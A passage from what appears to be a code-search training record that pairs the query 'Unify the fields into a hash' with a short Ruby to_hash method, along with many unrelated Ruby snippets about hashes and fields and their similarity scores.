"def prep_merge_fields(merge_fields)\n # Upper-case all the keys as this is how MC expect them.\n merge_fields.map { |k, v| [k.upcase, v] }.to_h\n end",
"def rowify fields=nil\n fields ||= [\n :project_number,\n :organization,\n :fiscal_year,\n :title,\n :scope,\n :project_type,\n :sogr,\n :shadow,\n :multi_year,\n :emergency,\n :ali,\n :requested,\n :allocated\n ]\n \n field_library = {\n project_number: {label: \"Project ID\", method: :project_number, url: nil},\n organization: {label: \"Organization\", method: :organization_name, url: nil},\n fiscal_year: {label: \"Year\", method: :fy_year, url: nil},\n title: {label: \"Title\", method: :title, url: nil},\n scope: {label: \"Scope\", method: :team_ali_code_scope, url: nil},\n project_type: {label: \"Project Type\", method: :capital_project_type_name, url: nil},\n sogr: {label: \"SOGR\", method: :sogr, url: nil},\n shadow: {label: \"Shadow\", method: :notional, url: nil},\n multi_year: {label: \"Multi-Year\", method: :multi_year, url: nil},\n emergency: {label: \"Emergency Project\", method: :emergency, url: nil},\n ali: {label: \"ALI\", method: :ali_code, url: nil},\n requested: {label: \"Requested\", method: :total_cost, url: nil},\n allocated: {label: \"Allocated\", method: :total_funds, url: nil}\n\n }\n\n row = {}\n fields.each do |field|\n row[field] = {label: field_library[field][:label], data: self.send(field_library[field][:method]).to_s, url: field_library[field][:url]} \n end\n return row \n end",
"def to_human\n fields.map { |f| self[f].to_i.to_s }.join('.')\n end",
"def to_s\n s = \"Name: #{@id_name}, \"\n s += \"Country: #{self.country}, \"\n s += \"State: #{self.state}, \"\n s += \"Loc: #{self.location}, \"\n s += \"Org: #{self.org}, \"\n s += \"Org Unit: #{self.org_unit}, \"\n s += \"Domain: #{self.domain}, \"\n s += \"Email: #{self.email}\"\n return s\n end",
"def detail\n output = []\n detail_fields.each do |field_name|\n output << [field_name.to_s, field(field_name).to_s]\n end\n\n output\n end",
"def attrs_to_s(attrs)\n (attrs || {}).map do |key, value|\n \"#{key}='#{value.to_xs}'\"\n end.join(' ')\n end",
"def field_content\n f = ''\n subfields.each do |sf|\n f += \"|#{sf.code}#{sf.value}\"\n end\n f\n end",
"def to_s\n identifier = \"#{fieldx}_#{value}\".downcase.gsub(/\\W/,'_')\n \"#{operator}#{identifier}\"\n end",
"def decode_field(text)\n return nil if text.nil?\n result = ''\n while text =~ Regexp.new(PATTERN_RFC2047_FIELD, Regexp::MULTILINE)\n prefix, encoded, text = $1, $2, $3\n result << prefix unless prefix =~ Regexp.new('\\A\\s*\\Z', Regexp::MULTILINE)\n result << decode_word(encoded)\n end\n result << text\n result\n end",
"def gen_raw_line\n return nil unless self.valid?\n line = ''\n data = []\n SUB_STR_ATTRIBUTES.each do |field,field_regex|\n val = self.raw_getter field\n data.push val if val.nil? == false\n end\n unless data.empty?\n line = \"#{data.join ' ,'}\"\n end\n\n data = []\n BOOL_ATTRIBUTES.each do |field|\n val = self.raw_getter field\n data.push val if val.nil? == false\n end\n unless data.empty?\n if line == ''\n line += \"#{data.join ','} \"\n else\n line += \",#{data.join ','} \"\n end\n end\n\n data = []\n ARR_STR_ATTRIBUTES.each do |field|\n val = self.raw_getter field\n data.push val if val.nil? == false\n end\n unless data.empty?\n if line == ''\n line += \"#{data.join ','} \"\n else\n line += \", #{data.join ','} \"\n end\n end\n\n data = []\n STR_ATTRIBUTES.each do |field|\n val = self.raw_getter field\n data.push val if val.nil? == false\n end\n line += data.join ' '\n return line\n end",
"def pre_gen(record)\n numeric_fields.each do |field|\n if vals = record[field] and vals.is_a?(Array)\n record[field] = vals.join(\",\")\n end\n end\n end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def alize_fields(inverse)\n if inverse.is_a?(Person)\n [:name, :location]\n else\n [:id]\n end\n end",
"def strip_columns\n user_fields = %W(\n name\n email\n address\n )\n\n user_fields.each do |field|\n next if self[field].nil?\n self[field] = self[field].strip\n end\n end",
"def to_s\n str = @first_name\n str += ' ' + @last_name unless @last_name.nil?\n str += ', ' + @affil unless @affil.nil?\n str += ' - ' + @title unless @title.nil?\n return str\n end"
] |
[
"0.7301817",
"0.674092",
"0.67388856",
"0.66999316",
"0.6568083",
"0.6438982",
"0.6345852",
"0.63051367",
"0.6304707",
"0.62862426",
"0.61989295",
"0.61224663",
"0.60774136",
"0.6071137",
"0.6021013",
"0.60160464",
"0.60008615",
"0.5983785",
"0.59837794",
"0.5983541",
"0.59695673",
"0.59347165",
"0.592841",
"0.59261316",
"0.58849335",
"0.587937",
"0.5858658",
"0.5822119",
"0.5813634",
"0.57873267",
"0.57649636",
"0.5754388",
"0.5737578",
"0.5729997",
"0.5723603",
"0.57209617",
"0.5716117",
"0.57135904",
"0.57083845",
"0.56958747",
"0.56916845",
"0.56780547",
"0.5673875",
"0.5668624",
"0.5652835",
"0.5612003",
"0.56050646",
"0.5603678",
"0.5574744",
"0.5568185",
"0.556789",
"0.5552166",
"0.5534983",
"0.55218685",
"0.55134207",
"0.5509078",
"0.5502997",
"0.5498173",
"0.54951507",
"0.5472487",
"0.5470869",
"0.5451675",
"0.5449287",
"0.5445704",
"0.54451686",
"0.54441905",
"0.5440183",
"0.54255724",
"0.5417081",
"0.541535",
"0.5408118",
"0.54072076",
"0.5403209",
"0.53969574",
"0.5395359",
"0.5395292",
"0.5381837",
"0.5381674",
"0.5374635",
"0.53641665",
"0.53611743",
"0.53611743",
"0.53611743",
"0.53611743",
"0.53611743",
"0.53611743",
"0.53611743",
"0.53611743",
"0.53611743",
"0.53611743",
"0.53611743",
"0.53611743",
"0.53611743",
"0.53611743",
"0.53611743",
"0.53611743",
"0.53611743",
"0.53611743",
"0.53557795",
"0.5353279",
"0.53501254"
] |
0.0
|
-1
|
Unify the fields into a hash
|
def to_hash
res = {
"name" => name,
"id" => id,
"service" => service,
"title" => title,
"thumbnail" => thumbnail,
"href" => href
}
res
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def fields_to_hash(these_fields)\n combined_fields = combine_multivalued_fields(these_fields)\n combined_pairs = combined_fields.map do |field|\n\n # does the normalize_ case ever happen?\n key = api_field_name_for(field.header) || normalize_header(field.header)\n [ key, encode_values(field.value) ]\n end\n Hash[ combined_pairs ]\n end",
"def fields_hash\n each_pair.to_h\n end",
"def to_field_hash\n to_values_hash.flatten\n end",
"def field_hash\n\n self.yattributes || fields.inject({}) { |r, f| r[f.fkey] = f.value; r }\n end",
"def to_hash\n @fields\n end",
"def normalize_fields\n new_fields = CICPHash.new\n fields.each do |key, value|\n new_fields[key] = ApeItem.create(key, value).normalize_encodings\n end\n @fields = new_fields\n end",
"def to_hash\n self.class.fields.each_with_object({}) do |key, hash|\n val = send(key)\n hash[key] = val if !val.nil?\n end\n end",
"def to_h\n FieldsToHash.call(self)\n end",
"def prep_merge_fields(merge_fields)\n # Upper-case all the keys as this is how MC expect them.\n merge_fields.map { |k, v| [k.upcase, v] }.to_h\n end",
"def clean_fields(fields)\n fields.map { |k, v| [k.to_s.downcase.gsub(/ |-/, '_'), v] }.to_h\n end",
"def dissect_to_record_hashes\n end",
"def to_hash\n @data.map do |row|\n hsh = {}\n @field_names.each_with_index.map{ |fld, i| hsh[fld] = row[i] }\n hsh\n end\n end",
"def fields_hash\n @fields_hash ||=\n begin\n field_sets_hash = Hash.new { |h, k| h[k] = Set.new }\n @types.each do |type|\n Setup.for(type).fields.each do |field|\n field_sets_hash[field.name.to_sym] << field\n end\n end\n fields_hash = {}\n field_sets_hash.each_pair do |field_name, set|\n if set.length == 1\n fields_hash[field_name] = set.to_a.first\n end\n end\n fields_hash\n end\n end",
"def hashed_fields_for_export\n hash = {}\n\n self.ordered_questions.map { |q| hash[q.answer_field] = q.text }\n\n hash.merge!({\n location_code: \"Location Code\",\n user_agent: \"User Agent\",\n page: \"Page\",\n referer: \"Referrer\",\n created_at: \"Created At\"\n })\n\n if self.organization.enable_ip_address?\n hash.merge!({\n ip_address: \"IP Address\"\n })\n end\n\n hash\n end",
"def all_valuefield_hash\n hash = {}\n items = @all_valuefields\n for vf in items\n hash[vf] = {}\n end\n return hash\n end",
"def to_hash\n fields.inject({type: type}) do |table, name|\n table.tap do\n if val = send(name)\n val = val.iso8601(3) if name == :timestamp\n table[name] = val\n end\n end\n end\n end",
"def to_hash\n @fields.delete_if {|key,val| val.nil?}\n h = {\n :type => @type,\n :id => @id,\n :version => @version\n }\n\n unless @type == 'delete'\n h[:fields] = @fields \n h[:lang] = @lang\n end\n\n h \n end",
"def hash\n fields.map { |field| instance_variable_get(field[:name]) }.hash\n end",
"def makehash(obj, delim, fields)\n\t\tLogUtil.debug(obj, delim, fields)\n\t\tfds = obj.to_s.strip.split(delim)\n\t\thashrec = {}\n\t\tfields.each do |field|\n\t\t\thashrec[field] = fds.shift()\n\t\tend\n\t\treturn hashrec\n\tend",
"def hashed_fields_for_export\n raise InvalidArgument unless self.form\n\n hash = {}\n\n self.form.questions.map { |q| hash[q.answer_field] = q.text }\n\n hash.merge({\n ip_address: \"IP Address\",\n user_agent: \"User Agent\",\n page: \"Page\",\n referer: \"Referrer\",\n created_at: \"Created At\"\n })\n end",
"def to_hash(clean = false)\n h = {}\n #h[:index] = index\n each_pair do |name, value|\n if !clean or !self.class.internal_field?(name)\n h[name] = value\n end\n end\n h\n end",
"def normalize_fields\n @fields = @fields.map do |field|\n case field\n when Symbol, String\n @properties[field]\n\n when Property, Operator\n field\n end\n end\n end",
"def to_hash\n fattrs.inject({}){|h,a| h.update a => send(a)}\n end",
"def to_hash\n record_hash = {\"leader\" => @leader, \"fields\" => []}\n @fields.each do |field|\n record_hash[\"fields\"] << field.to_hash\n end\n record_hash\n end",
"def to_h\n hash = {}\n attributes.each_pair do |key, value|\n hash[key] = deep_unwrap(value)\n end\n\n return hash\n end",
"def defect_to_hash(input)\n Hash[ input[\"Fields\"][\"Field\"].\n map{ |x| [nice_name[x[\"Name\"]],x[\"Value\"]] }.\n reject{ |x,y| y.empty? or y == \"None\" }\n ]\n end",
"def collection_hash\n collection_field_pairs = collection_fields.map do |field|\n [ normalize_header(field.header), field.value ]\n end\n Hash[ collection_field_pairs ]\n end",
"def to_input_hash\n Types::Coercible::Hash.schema(\n map { |attr| [attr.name, attr] }.to_h\n )\n end",
"def jsonapi_fields\n return {} unless params[:fields].respond_to?(:each_pair)\n\n if defined?(ActiveSupport::HashWithIndifferentAccess)\n extracted = ActiveSupport::HashWithIndifferentAccess.new\n else\n extracted = Hash.new\n end\n\n params[:fields].each do |k, v|\n extracted[k] = v.to_s.split(',').map(&:strip).compact\n end\n\n extracted\n end",
"def fields\n to_h.keys\n .reject{|key| key.start_with?('_sm_')}\n .map{|key| key.to_sym}\n .to_set\n end",
"def load_fields!\n attributes = {}\n data_hash.each do |entry|\n next unless entry.is_a? Hash\n entry.keys.each { |key| attributes[key] ||= nil }\n end\n @fields = attributes.keys\n end",
"def to_liquid_hash\n # Wrap fields in quotes where appropriate for Liquid\n @to_hash = Hash[ATTRS_FROM_RAW.map {|k| [k.to_s, format_with_quotes(k, self.send(k))]}]\n # Process subject_specialties hash into a hash with string keys\n @to_hash[\"subject_specialties\"] = Hash[@to_hash[\"subject_specialties\"].map {|k, v| [k.to_s, v.map {|s| format_with_quotes(k, s)}]}]\n @to_hash\n end",
"def to_hash\n hash = {'id' => self.id.to_s}\n for name, field in self.class.fields\n if not name.end_with?(\"_id\")\n if self.has_attribute?(name)\n value = self[field.name]\n hash.store name, value if not value.nil?\n end\n end\n end\n hash.store 'total_employee', self.total_employee\n hash.store 'total_job', self.total_job\n # hash.store 'child_departments', self.child_departments\n hash\n end",
"def hash\n attributes.hash\n end",
"def hash\n attributes.hash\n end",
"def hash\n attributes.hash\n end",
"def to_h\n self.class.list_of_attributes.each_with_object({}) do |key, hash|\n val = instance_variable_get :\"@#{key}\"\n hash[key] = Utils.hashify(val) unless val == Dry::Initializer::UNDEFINED\n end\n end",
"def fields=(fields)\n @fields = ::ActiveSupport::HashWithIndifferentAccess.new fields\n end",
"def model_fields\n ActiveSupport::OrderedHash.new.tap do |hash|\n properties.map do |u|\n hash[u.name] = TYPES.fetch properties.find{|property| property.name == u.name}.primitive\n end\n end\n end",
"def fields\n iterator = @form_fields.keySet.iterator\n map = {}\n while iterator.hasNext\n key = iterator.next.toString\n map[key.to_sym] = field(key)\n end\n map\n end",
"def to_h\n hash = {}\n self.class.field_definitions.each do |k, v|\n hash[k] = field_value k\n end\n hash\n end",
"def info_hash\n @fields\n end",
"def entry_hash(values)\n assert_valid_field_list(values) unless @field_list_is_valid # just do it once\n raw_entry = values.shift\n hash = Hash[ *@entry_fields.zip( values ).flatten ]\n hash[:raw_entry] = raw_entry.strip\n hash\n end",
"def cast_to_hash(params); end",
"def transform\n {\n 'name' => names,\n 'org' => org,\n 'other' => other_data,\n 'associates' => associates,\n 'xref' => xref,\n\n # these are lists with zero or more members; duplicates allowed; member order is arbitrary (so we pick\n # a standardized order for list comparison purposes)\n 'phones' => phones,\n 'addresses' => addresses,\n 'emails' => emails,\n 'links' => links\n }.reject {|k,v| v.nil? || v.empty?}\n end",
"def to_hash\n fields = %w(name slug description label_field_name order_by order_direction public_submission_enabled public_submission_accounts raw_item_template)\n\n _attributes = self.attributes.delete_if { |k, v| !fields.include?(k.to_s) || v.blank? }.deep_stringify_keys\n\n # group by\n _attributes['group_by'] = self.group_by_field.name if self.group_by_field\n\n # order by\n _attributes['order_by'] = self.order_by_field.name if self.order_by_field\n _attributes['order_by'] = 'manually' if self.order_by == '_position'\n\n # custom fields\n _attributes['fields'] = self.fields\n\n _attributes\n end",
"def deconstruct_keys(keys)\n @deconstructed ||= to_h.merge({\n calendar: @calendar.type,\n jd: @jd,\n leap_year: leap_year?,\n leap_month: leap_month?,\n leap_day: leap_day?,\n }).freeze\n end",
"def attachment_fields_hash\n @attachment_fields_hash ||=\n setups.inject({}) do |hash, setup|\n setup.all_attachment_fields.each do |text_field|\n (hash[text_field.name] ||= Set.new) << text_field\n end\n hash\n end\n end",
"def to_hash\n result = {}\n [[:tn, :tn], [:epg, :epg], [:cnam, :cnam], [:refId, :ref_id]].each do |garbage, pretty|\n # Make sure that this thing ain't nil\n if self.send(pretty)\n result[garbage] = self.send(pretty)\n end\n end\n result\n end",
"def to_hash(clean = false)\n h = {}\n h[:index] = index\n each_pair do |name, value|\n if !clean or !self.class.internal_field?(name)\n h[name] = value\n end\n end\n h\n end",
"def hash\n [id, alternate_id, type, first_name, surname, date_of_brith, date_of_birth, shipping_address, mailing_address, home_phone, mobile_phone, email_address, mailing_address_active, accounts, classifications, member_photo, gender, receive_email, receive_sms, password].hash\n end",
"def values\n record && record.to_hash(fields)\n end",
"def to_hash\n attributes.dup\n end",
"def entry2hash(entry)\n hash = Hash.new('')\n\n fields = toptag2array(entry)\n\n fields.each do |field|\n tag = tag_get(field)\n hash[tag] += field\n end\n return hash\n end",
"def to_hash *args\n hsh = super(*args)\n hsh.each do |attr, val|\n hsh[attr] = val.to_hash if val.respond_to?(:to_hash)\n end\n hsh\n end",
"def hash\n [id, field_type, mode, label, no_wrap, bold, required, appears_by_default, find_enabled, allow_new_choices, sort_as_given, carry_choices, foreign_key, unique, does_data_copy, field_help, audited, num_lines, max_length, append_only, allow_html, has_extension, units, decimal_places, comma_start, number_format, does_average, does_total, blank_is_zero, currency_symbol, currency_format, display_time, display_relative, display_month, default_today, display_day_of_week, display_timezone, work_week, start_field, duration_field, format, hours24, display_user, default_kind, default_value_luid, choices_luid, choices, composite_fields, target_table_id, target_field_id, source_field_id, use_new_window, link_text, exact, display_images, default_domain, display_email, appears_as, abbreviate, auto_save, target_table_name, display_as_link, sort_alpha, version_mode, max_versions, see_versions, width, xml_tag, formula, default_value, comments, master_choice_table_id, master_choice_field_id, snap_field_id, parent_field_id, lookup_target_field_id, lookup_reference_field_id, summary_reference_field_id, summary_target_field_id, summary_function, master_table_tag, permissions].hash\n end",
"def hash\n [name, type, sub_attributes, multi_valued, description, required, canonical_values, case_exact, mutability, returned, uniqueness, reference_types].hash\n end",
"def to_h\n { 'metadata' => { 'fieldName' => field },\n 'operator' => operator,\n 'values' => Array(value) }\n end",
"def user_to_h(department_id, iph)\n {department_id: department_id,\n name: iph[\"name\"],\n office_phone: iph[\"office_phone\"].to_i,\n cell_phone: iph[\"cell_phone\"].to_i,\n email: iph[\"email\"],\n building: iph[\"building\"],\n storey: iph[\"storey\"].to_i,\n room: iph[\"room\"].to_i} \n end",
"def parse_common_fields(fields)\n timestamp = fields[:timestamp] || Time.new\n distinct_id = fields[:distinct_id]\n message_id = fields[:message_id].to_s if fields[:message_id]\n send_feature_flags = fields[:send_feature_flags]\n\n check_timestamp! timestamp\n check_presence! distinct_id, 'distinct_id'\n\n parsed = {\n timestamp: datetime_in_iso8601(timestamp),\n library: 'posthog-ruby',\n library_version: PostHog::VERSION.to_s,\n messageId: message_id,\n distinct_id: distinct_id,\n properties: {\n '$lib' => 'posthog-ruby',\n '$lib_version' => PostHog::VERSION.to_s\n }\n }\n\n if send_feature_flags\n feature_variants = fields[:feature_variants]\n feature_variants.each do |key, value|\n parsed[:properties][\"$feature/#{key}\"] = value\n end\n parsed[:properties][\"$active_feature_flags\"] = feature_variants.keys\n end\n parsed\n end",
"def to_hash\n {\n first_name:,\n last_name:,\n birth_date:\n }\n end",
"def to_h\n encode_with({})\n end",
"def to_h\n {\n xmlns: fields.xmlns,\n entry: fields.to_h\n }\n end",
"def to_h\n Utils.deep_dup @attributes\n end",
"def to_h\n data = super\n data[:convert] = data.delete(:converter)\n data.stringify_keys\n end",
"def structure_records_from_flat_hash h\n rtn = {}\n rtn[:klass] = h.delete :klass\n rtn[:code] = h.delete :code\n rtn[:xlate] = h.extract! :name, :note, :desc\n rtn[:no_xlate] = h\n return rtn\n end",
"def to_hash\n hash = {}\n\n instance_variables.each do |var|\n key = var.to_s.delete(\"@\").to_sym\n val = instance_variable_get(var)\n\n if authlete_model_simple_attribute?(key) or val.nil?\n hash[key] = val\n elsif TAGGED_VALUE_ARRAY_ATTRIBUTES.include?(key)\n hash[key] = val.map { |element| element.to_hash }\n elsif key == :extension\n # For attributes such as :extension\n hash[key] = val.to_hash\n end\n end\n\n hash\n end",
"def sanitize_fields_hash\n @sanitize_fields_hash ||= extract_configuration(:sanitize_fields, configuration, [])\n end",
"def to_hash\n {\n :name => self[:name],\n :cms_id => self[:cms_id],\n :nqf_id => self[:nqf_id],\n :hqmf_id => self[:hqmf_id],\n :hqmf_set_id => self[:hqmf_set_id],\n :hqmf_version_number => self[:hqmf_version_number],\n :value_sets => self.value_sets_to_hashes\n }\n end",
"def values_for_fields(fields)\n result = {}\n for f in fields\n result[f] = @times.map{|r| r[f] or raise \"Missing field: #{r}\"}\n end\n return result\n end",
"def coerce_attributes_to_hash(attrs)\n if ::Hash === attrs\n ::Hash[attrs.map {|key, val|\n if val\n [key.end_with?('!') ? '!' + key.chop : key, val]\n else\n key = key.chop if key.end_with?('!')\n key = '!' + key unless key.start_with?('!')\n [key, '']\n end\n }]\n else\n Array(attrs || []).inject({}) do |accum, entry|\n key, val = entry.split('=', 2)\n accum[key.end_with?('!') ? '!' + key.chop : key] = val || ''\n accum\n end\n end\n end",
"def attributes_hash(object); end",
"def hash\n [first_name, last_name, address_one, address_two, city, state, zip, phone, email, country_code].hash\n end",
"def form_fields\n values = super\n result = {}\n mappings.values.each { |field|\n result[field] = values[field] if values[field]\n }\n result\n end",
"def serializable_hash(options)\n original_hash = super(options)\n Hash[original_hash.map {|k, v| [self.aliased_fields.invert[k] || k , v] }]\n end",
"def to_hash\n attributes\n end",
"def to_hash\n {}.tap do |hash|\n _attributes.each do |key, value|\n if key == :data\n hash.merge!(value)\n else\n hash[key] = value.respond_to?(:to_hash) ? value.to_hash : value\n end\n end\n end\n end",
"def hash\n [subject_property, proprietorship, surname, forename, middle_name, all_names, historical_match].hash\n end",
"def unpack_h\n @unpack_h ||= attributes.transform_values(&:unpack)\n end",
"def attr_hash\n hash = create_hash\n hash.delete(\"id\")\n hash.delete(\"errors\")\n return hash\n end",
"def to_h\n # Deep dup\n JSON.parse(@meta.to_json, symbolize_names: true)\n end",
"def to_hash\n hash = HashWithIndifferentAccess.new\n for index in 0..(size - 1)\n column = @grid.columns[index]\n field = column.field\n if field\n\n # Existing value logic is too messy ...\n value = self[index]\n if field == :notes and !value.blank? and value[/notes/].nil? and value[/Notes/].nil? and column.description[/notes/].nil? and column.description[/Notes/].nil?\n value = \"#{column.description}: #{value}\"\n end\n\n existing_value = hash[field]\n value = nil if value == $INPUT_RECORD_SEPARATOR\n if existing_value.blank?\n if value.blank?\n hash.delete(field)\n else\n hash[field] = value\n end\n else \n unless value.blank?\n hash[field] = \"#{existing_value}#{$INPUT_RECORD_SEPARATOR}#{value}\"\n end\n end\n\n end\n end\n RAILS_DEFAULT_LOGGER.debug(hash.inspect) if RAILS_DEFAULT_LOGGER.debug?\n hash\n end",
"def get_field_deserializers()\n return super.merge({\n \"assignedUserPrincipalName\" => lambda {|n| @assigned_user_principal_name = n.get_string_value() },\n \"groupTag\" => lambda {|n| @group_tag = n.get_string_value() },\n \"hardwareIdentifier\" => lambda {|n| @hardware_identifier = n.get_object_value(lambda {|pn| Base64url.create_from_discriminator_value(pn) }) },\n \"importId\" => lambda {|n| @import_id = n.get_string_value() },\n \"productKey\" => lambda {|n| @product_key = n.get_string_value() },\n \"serialNumber\" => lambda {|n| @serial_number = n.get_string_value() },\n \"state\" => lambda {|n| @state = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::ImportedWindowsAutopilotDeviceIdentityState.create_from_discriminator_value(pn) }) },\n })\n end",
"def launch_fields_hash\n\n launch_fields ?\n ActiveSupport::JSON.decode(launch_fields) : { 'key0' => 'value0' }\n end",
"def calculate_hash!\n entry_hash = to_hash\n entry_hash['description']=nil\n @hash = entry_hash.hash\n end",
"def to_h\n temp_data = clean @data\n temp_custom_data = clean @custom_data\n temp_data['CustomFieldResponses'] = temp_custom_data\n temp_data\n end",
"def combine_multivalued_fields(uncombined_fields)\n combined_fields = {}\n uncombined_fields.each do |field|\n normalized_header = normalize_header(field.header)\n if multivalued?(normalized_header)\n combined_fields[normalized_header] ||= Field.new(field.header, [])\n combined_fields[normalized_header].value << field.value\n else\n combined_fields[normalized_header] ||= Field.new(field.header, field.value)\n end\n end\n combined_fields.values\n end",
"def pick_fields(*fields)\n self.values.inject({}) do |hsh, node|\n value = self[node.name].pick(*fields)\n if fields.size == 1\n value = value.values.first\n end\n hsh[node.name] = value\n hsh\n end\n end",
"def subfield_hash\n to_return = {}\n html_out_args.each do |val|\n to_return[val] = self\n end\n @sub_fields.each do |subfield|\n to_return[subfield.name] = subfield.subfield_hash\n end\n to_return\n end",
"def hashify_attributes(attrs)\n Hash.new.tap{ |h| attrs.each{|a| h[a] = self.send(a)} }\n end",
"def convert_attributes(attributes={})\n attributes.to_hash rescue attributes.to_h\n end",
"def to_hash\n hash = HashWithIndifferentAccess.new\n for index in 0..(size - 1)\n column = @grid.columns[index]\n field = column.field\n if field\n\n # Existing value logic is too messy ...\n value = self[index]\n if field == :notes and !value.blank? and value[/notes/].nil? and value[/Notes/].nil? and column.description[/notes/].nil? and column.description[/Notes/].nil?\n value = \"#{column.description}: #{value}\"\n end\n\n existing_value = hash[field]\n value = nil if value == $INPUT_RECORD_SEPARATOR\n if existing_value.blank?\n if value.blank?\n hash.delete(field)\n else\n hash[field] = value\n end\n else \n unless value.blank?\n hash[field] = \"#{existing_value}#{$INPUT_RECORD_SEPARATOR}#{value}\"\n end\n end\n\n end\n end\n hash\n end",
"def to_hash\n\t\t\tmapper = self.class.map || {}\t\t\t \n\n\t\t\tto_ret = {}\n\t\t\tto_ret[ mapper[:filters] || \"Filters\" ]= { \"StaffFilter\" => @filters} if @filters\n\t\t\tto_ret[ mapper[:staff_ids] || \"StaffIDs\" ]= { \"int\" => @staff_ids} if @staff_ids\n\t\t\tto_ret\n\t\tend",
"def to_hash\n hash = attributes.to_hash\n hash['location'] = location.first.to_hash if location.size == 1\n hash\n end",
"def get_field_deserializers()\n return super.merge({\n \"certificateData\" => lambda {|n| @certificate_data = n.get_string_value() },\n \"developerId\" => lambda {|n| @developer_id = n.get_string_value() },\n \"keyId\" => lambda {|n| @key_id = n.get_string_value() },\n \"serviceId\" => lambda {|n| @service_id = n.get_string_value() },\n })\n end",
"def fields\n @_fields ||= {}\n end",
"def attributes_hash\n self.info.to_hash.symbolize_keys\n end",
"def _field_assignments\n result = []\n @fields.each do |field|\n field_type = field.type.type_sym # Record, Union, Enum, Array or Map\n schema_base_type = _schema_base_class(field.type)\n field_base_type = _field_type(schema_base_type)\n method_argument = %i(array map).include?(field_type) ? 'values' : 'value'\n is_schema_class = %i(record enum).include?(schema_base_type.type_sym)\n\n field_initialization = method_argument\n\n if is_schema_class\n field_initialization = \"#{field_base_type}.initialize_from_value(value)\"\n end\n\n result << {\n field: field,\n field_type: field_type,\n is_schema_class: is_schema_class,\n method_argument: method_argument,\n deimos_type: deimos_field_type(field),\n field_initialization: field_initialization\n }\n end\n\n result\n end",
"def user_to_hash(user)\n { \"id\" => user[\"_id\"].to_s, \"uid\" => user[\"uid\"], \"name\" => user[\"name\"], \"email\" => user[\"email\"] }\nend",
"def user_to_hash(user)\n { \"id\" => user[\"_id\"].to_s, \"uid\" => user[\"uid\"], \"name\" => user[\"name\"], \"email\" => user[\"email\"] }\nend",
"def fetch_hash(with_table=nil)\n row = fetch\n return nil unless row\n if with_table and @fieldname_with_table.nil?\n @fieldname_with_table = @fields.map{|f| [f.table, f.name].join(\".\")}\n end\n ret = {}\n @fields.each_index do |i|\n fname = with_table ? @fieldname_with_table[i] : @fields[i].name\n ret[fname] = row[i]\n end\n ret\n end"
] |
[
"0.76092094",
"0.73421687",
"0.7162108",
"0.7026138",
"0.6974151",
"0.69049734",
"0.6844028",
"0.68024844",
"0.66448134",
"0.6591479",
"0.656911",
"0.6546546",
"0.65445405",
"0.6533192",
"0.6525319",
"0.6479781",
"0.6479664",
"0.6452661",
"0.6451121",
"0.6401796",
"0.63960207",
"0.63823605",
"0.63569987",
"0.6325202",
"0.62788975",
"0.6256254",
"0.6247153",
"0.6231536",
"0.6218259",
"0.61914843",
"0.61834276",
"0.6174624",
"0.6165698",
"0.61647576",
"0.61647576",
"0.61647576",
"0.61614865",
"0.6140633",
"0.61322105",
"0.613092",
"0.6129664",
"0.6127408",
"0.6074051",
"0.6045785",
"0.60446846",
"0.6043524",
"0.60304886",
"0.6027207",
"0.60261303",
"0.60050553",
"0.6004358",
"0.5971205",
"0.5955038",
"0.5949294",
"0.593481",
"0.59221804",
"0.59140337",
"0.59134215",
"0.5907826",
"0.58934927",
"0.5891496",
"0.5882222",
"0.5878267",
"0.5878186",
"0.5873133",
"0.58715403",
"0.5868653",
"0.58673096",
"0.58624744",
"0.58582157",
"0.585717",
"0.5855507",
"0.5852394",
"0.5851573",
"0.58510965",
"0.58508736",
"0.58476835",
"0.58357084",
"0.58356935",
"0.5833362",
"0.5832786",
"0.5831797",
"0.582917",
"0.5825012",
"0.5813714",
"0.5811567",
"0.58066577",
"0.58043414",
"0.5803303",
"0.57933104",
"0.5774932",
"0.5765099",
"0.5763128",
"0.57434976",
"0.57398415",
"0.573837",
"0.5735374",
"0.57352656",
"0.57336646",
"0.57336646",
"0.57316834"
] |
0.0
|
-1
|
for each SSM Key retrieve it's value and return an array of hashes
|
def reference_data
@reference_data ||= KeyValues.new(@from_profile, @source).format_data
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def gets(aName,aKeyArray)\n j = 1\n cont = 0\n result = []\n while j < aKeyArray.length do\n i = searchKey(aName,aKeyArray[j])\n if i != '' then\n updateLastGet(i)\n subResult = serv_data[i].values[0]\n result[cont] = \"VALUE #{subResult.values[0][0]} #{subResult.keys[0]} #{subResult.values[0][1]} #{subResult.values[0][2]} #{subResult.values[0][3]}\"\n else\n result[cont] = \"VALUE\"\n end\n cont += 1\n j += 1\n end\n return result\n end",
"def grab_keys(hsh)\n keys = []\n hsh.each_pair do |key,value|\n keys << key\n end\n keys\nend",
"def collect_values(name_hash)\n name_hash.collect do |key, value|\n value \n end\nend",
"def first\n\t\tfirst = @hash.first\n\t\t[first.key, first.value]\n\tend",
"def get_hashpipe_status_values(redis, skey, *hkeys)\n hkeys.flatten.map! do |hk|\n sval = redis.hget(hk, skey)\n block_given? ? yield(sval) : sval\n end\nend",
"def values\n keys.map {|key| self[key] }\n end",
"def _get_array(sp, key)\n return self[key] if sp.length == 0\n\n if key.is_a?(Range)\n res = []\n self[key].each do |k|\n next unless k.structured?\n res << k.rh_get(sp) if k.rh_exist?(sp)\n end\n res\n else\n self[key].rh_get(sp) if self[key].structured?\n end\n end",
"def values(key)\n h = hash(key)\n\n hoff = @hashes[(h % 256)*2]\n hlen = @hashes[(h % 256)*2 + 1]\n\n return [] if hlen == 0\n off = (h / 256) % hlen\n\n vals = []\n\n # FIXME: Is this potentially an infinite loop (if full)?\n # Easy to avoid by exiting if off reaches the same value twice.\n\n while\n (slot = read(hoff + off * hashref_size .. hoff + off * hashref_size + hashref_size - 1)) &&\n (dslot = ary_unpack(slot,2)) && dslot[1] != 0\n\n if dslot[0] == h\n pos = dslot[1]\n\n rkey, value = read_entry(pos)\n if rkey == key\n vals << value\n end\n end\n off = (off + 1) % hlen\n end\n return vals\n end",
"def hgetall(key); end",
"def hgetall(key); end",
